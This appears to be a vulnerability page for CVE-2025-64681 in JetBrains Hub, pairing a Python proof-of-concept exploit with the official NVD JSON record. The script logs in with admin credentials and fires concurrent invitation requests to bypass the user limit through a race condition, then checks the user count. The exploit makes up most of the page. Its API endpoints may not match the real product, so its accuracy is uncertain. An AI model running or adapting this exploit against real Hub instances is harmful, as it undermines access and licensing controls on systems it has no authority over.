CVE-2025-64681

#!/usr/bin/env python3 # CVE-2025-64681 PoC - Race Condition in JetBrains Hub User Limit Bypass # This PoC demonstrates the race condition vulnerability in JetBrains Hub # Requires high-privilege account credentials import requests import threading import time import sys # Configuration HUB_URL = "https://your-jetbrains-hub-instance.com" USERNAME = "admin_username" PASSWORD = "admin_password" TARGET_USER_LIMIT = 10 CONCURRENT_REQUESTS = 20 class JetBrainsHubExploit: def __init__(self): self.session = requests.Session() self.token = None self.csrf_token = None def authenticate(self): """Authenticate with JetBrains Hub and obtain session token""" auth_url = f"{HUB_URL}/api/rest/users/login" payload = { "username": USERNAME, "password": PASSWORD } try: response = self.session.post(auth_url, json=payload, timeout=30) if response.status_code == 200: self.token = response.json().get('token') self.csrf_token = response.cookies.get('CSRF-TOKEN') print(f"[+] Authentication successful") return True else: print(f"[-] Authentication failed: {response.status_code}") return False except Exception as e: print(f"[-] Authentication error: {e}") return False def send_invitation(self, target_email, thread_id): """Send a single invitation request - exploiting race condition""" invite_url = f"{HUB_URL}/api/rest/invitations" headers = { "Authorization": f"Bearer {self.token}", "X-CSRF-TOKEN": self.csrf_token, "Content-Type": "application/json" } payload = { "email": target_email, "role": "user", "sendNotification": False } try: response = self.session.post(invite_url, json=payload, headers=headers, timeout=10) print(f"[Thread-{thread_id}] Invitation sent to {target_email}: Status {response.status_code}") return response.status_code == 200 or response.status_code == 201 except Exception as e: print(f"[Thread-{thread_id}] Error: {e}") return False def exploit_race_condition(self): """Exploit the race condition to bypass user limit""" print(f"[*] Starting race condition exploit with {CONCURRENT_REQUESTS} threads") print(f"[*] Target user limit: {TARGET_USER_LIMIT}") threads = [] for i in range(CONCURRENT_REQUESTS): target_email = f"attacker_user_{i}@example.com" thread = threading.Thread(target=self.send_invitation, args=(target_email, i)) threads.append(thread) # Start all threads simultaneously to trigger race condition for thread in threads: thread.start() # Wait for all threads to complete for thread in threads: thread.join() print(f"[*] Exploit execution completed") print(f"[*] Check JetBrains Hub admin panel for created users") def verify_exploitation(self): """Verify if user limit was bypassed""" users_url = f"{HUB_URL}/api/rest/users/count" headers = {"Authorization": f"Bearer {self.token}"} try: response = self.session.get(users_url, headers=headers) if response.status_code == 200: user_count = response.json().get('count', 0) print(f"[*] Current user count: {user_count}") if user_count > TARGET_USER_LIMIT: print(f"[!] VULNERABLE: User limit bypassed! Count exceeds {TARGET_USER_LIMIT}") return True else: print(f"[-] User count within limit or patch applied") return False except Exception as e: print(f"[-] Verification error: {e}") return False def main(): if len(sys.argv) > 1 and sys.argv[1] == '--verify': print("[*] Verification mode - checking if target is vulnerable") exploit = JetBrainsHubExploit() if exploit.authenticate(): exploit.verify_exploitation() else: print("[*] CVE-2025-64681 - JetBrains Hub Race Condition Exploit") print("[*] WARNING: This is for authorized security testing only") exploit = JetBrainsHubExploit() if exploit.authenticate(): exploit.exploit_race_condition() time.sleep(2) exploit.verify_exploitation() if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-64681", "sourceIdentifier": "[email protected]", "published": "2025-11-10T14:15:43.450", "lastModified": "2025-11-20T19:54:04.317", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In JetBrains Hub before 2025.3.104992 a race condition allowed bypass of the user limit via invitations"}, {"lang": "es", "value": "En JetBrains Hub antes de 2025.3.104992, una condición de carrera permitió eludir el límite de usuarios a través de invitaciones."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jetbrains:hub:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.3.104992", "matchCriteriaId": "9F5AE1DF-DF89-45D2-BD7B-DF79E3D165BC"}]}]}], "references": [{"url": "https://www.jetbrains.com/privacy-security/issues-fixed/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}